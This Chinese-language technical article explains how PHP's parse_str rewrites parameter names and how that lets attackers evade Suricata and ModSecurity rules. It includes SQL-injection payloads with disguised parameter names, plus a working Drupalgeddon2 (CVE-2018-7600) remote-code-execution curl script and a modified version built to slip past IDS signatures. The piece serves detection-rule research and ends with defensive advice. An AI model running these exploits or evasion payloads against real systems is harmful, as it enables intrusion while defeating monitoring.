利用PHP函数parse_str绕过IDS、IPS和WAF
字数 1094 2025-08-26 22:11:51

PHP函数parse_str绕过IDS、IPS和WAF技术分析

1. PHP查询字符串解析机制

PHP将查询字符串(在URL或主体中)转换为$_GET$_POST内的关联数组时,会对参数名称进行特殊处理:

  • 删除初始空格
  • 将某些特殊字符转换为下划线(包括空格)

例如:

  • /?foo=bar 转换为 Array([foo] => "bar")
  • /?%20news[id%00=42 转换为 Array([news_id]=>42)

2. 字符转换测试方法

可以通过以下PHP代码测试哪些字符会被删除或转换为下划线:

<?php
foreach( [ "{chr}foo_bar", "foo{chr}bar", "foo_bar{chr}" ] as $k => $arg) {
    for($i=0;$i<=255;$i++) {
        parse_str(str_replace("{chr}",chr($i),$arg)."=bla",$o);
        if(isset($o["foo_bar"])) {
            echo $arg." -> ".bin2hex(chr($i))." (".chr($i).")\n";
        }
    }
    echo "\n";
}

测试结果显示:

  • foo%20barfoo+bar是等效的,都被解析为foo bar
  • 许多特殊字符会被转换为下划线

3. 绕过技术详解

3.1 绕过Suricata规则

假设Suricata有以下规则检查news_id参数:

alert http any any -> $HOME_NET any (
    msg: "Block SQLi";
    flow:established,to_server;
    content: "POST"; http_method;
    pcre: "/news_id=[^0-9]+/Pi";
    sid:1234567;
)

可以通过以下方式绕过:

  1. /?news[id=1%22+AND+1=1--'
  2. /?news%5bid=1%22+AND+1=1--'
  3. /?news_id%00=1%22+AND+1=1--'

3.2 绕过WAF规则

对于ModSecurity规则:

SecRule !ARGS:news_id "@rx ^[0-9]+$" "block"

可以通过以下方式绕过:

  1. 使用news[id代替news_id
  2. 使用news%5bid代替news_id
  3. 在参数名中添加空字节news_id%00

更安全的ModSecurity规则应使用正则表达式匹配参数名:

SecRule !ARGS:/news.id/ "@rx ^[0-9]+$" "block"

4. 实际案例:Drupalgeddon2 (CVE-2018-7600)

4.1 原始攻击脚本

#!/bin/bash
URL="/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax"
QSTRING="form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=exec&mail[#type]=markup&mail[#markup]="
COMMAND="id"
curl -v -d "${QSTRING}${COMMAND}" "http://172.17.0.1:8080$URL"

4.2 Suricata规则

  1. 自定义规则:
alert http any any -> $HOME_NET any (
    msg: "Possible Drupalgeddon2 attack";
    flow: established, to_server;
    content: "/user/register"; http_uri;
    content: "POST"; http_method;
    pcre: "/form_id=user_register_form/Pi";
    sid: 10002807;
    rev: 1;
)
  1. PT规则:
alert http any any -> $HOME_NET any (
    msg: "ATTACK [PTsecurity] Drupalgeddon2 <8.3.9 <8.4.6 <8.5.1 RCE through registration form (CVE-2018-7600)";
    flow: established, to_server;
    content: "/user/register"; http_uri;
    content: "POST"; http_method;
    content: "drupal"; http_client_body;
    pcre: "/(%23|#)(access_callback|pre_render|post_render|lazy_builder)/Pi";
    reference: cve, 2018-7600;
    classtype: attempted-admin;
    sid: 10002808;
    rev: 2;
)

4.3 绕过方法

  1. 修改form_idform%5bid
QSTRING="form%5bid=user_register_form&_drupal_ajax=1&mail[#post%5frender][]=exec&mail[#type]=markup&mail[#markup]="
  1. 修改post_renderpost%5frender绕过PT规则的正则表达式检查

最终绕过脚本:

#!/bin/bash
URL="/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax"
QSTRING="form%5bid=user_register_form&_drupal_ajax=1&mail[#post%5frender][]=exec&mail[#type]=markup&mail[#markup]="
COMMAND="id"
curl -v -d "${QSTRING}${COMMAND}" "http://172.17.0.1:8080$URL"

5. 防御建议

  1. 严格参数名验证

    • 使用正则表达式匹配参数名,如/news.id/而不是简单的news_id
    • 检查参数名中是否包含特殊字符或编码
  2. WAF规则优化

    • 考虑所有可能的编码变体
    • 检查参数名和值的各种表示形式
  3. PHP配置

    • 限制parse_str的使用或使用更严格的解析方式
    • 对输入参数进行规范化处理
  4. 多层防御

    • 结合签名检测和行为分析
    • 实施输入验证和输出编码
  5. 特殊字符处理

    • 特别注意空格、空字节(%00)、方括号等特殊字符的处理
    • 考虑下划线字符的各种编码表示(%5f)

通过理解PHP的查询字符串解析机制和安全设备的检测原理,可以有效绕过某些安全防护,同时也为防御此类攻击提供了思路。

PHP函数parse_ str绕过IDS、IPS和WAF技术分析 1. PHP查询字符串解析机制 PHP将查询字符串(在URL或主体中)转换为 $_GET 或 $_POST 内的关联数组时,会对参数名称进行特殊处理: 删除初始空格 将某些特殊字符转换为下划线(包括空格) 例如: /?foo=bar 转换为 Array([foo] => "bar") /?%20news[id%00=42 转换为 Array([news_id]=>42) 2. 字符转换测试方法 可以通过以下PHP代码测试哪些字符会被删除或转换为下划线: 测试结果显示: foo%20bar 和 foo+bar 是等效的,都被解析为 foo bar 许多特殊字符会被转换为下划线 3. 绕过技术详解 3.1 绕过Suricata规则 假设Suricata有以下规则检查 news_id 参数: 可以通过以下方式绕过: /?news[id=1%22+AND+1=1--' /?news%5bid=1%22+AND+1=1--' /?news_id%00=1%22+AND+1=1--' 3.2 绕过WAF规则 对于ModSecurity规则: 可以通过以下方式绕过: 使用 news[id 代替 news_id 使用 news%5bid 代替 news_id 在参数名中添加空字节 news_id%00 更安全的ModSecurity规则应使用正则表达式匹配参数名: 4. 实际案例:Drupalgeddon2 (CVE-2018-7600) 4.1 原始攻击脚本 4.2 Suricata规则 自定义规则: PT规则: 4.3 绕过方法 修改 form_id 为 form%5bid : 修改 post_render 为 post%5frender 绕过PT规则的正则表达式检查 最终绕过脚本: 5. 防御建议 严格参数名验证 : 使用正则表达式匹配参数名,如 /news.id/ 而不是简单的 news_id 检查参数名中是否包含特殊字符或编码 WAF规则优化 : 考虑所有可能的编码变体 检查参数名和值的各种表示形式 PHP配置 : 限制 parse_str 的使用或使用更严格的解析方式 对输入参数进行规范化处理 多层防御 : 结合签名检测和行为分析 实施输入验证和输出编码 特殊字符处理 : 特别注意空格、空字节(%00)、方括号等特殊字符的处理 考虑下划线字符的各种编码表示(%5f) 通过理解PHP的查询字符串解析机制和安全设备的检测原理,可以有效绕过某些安全防护,同时也为防御此类攻击提供了思路。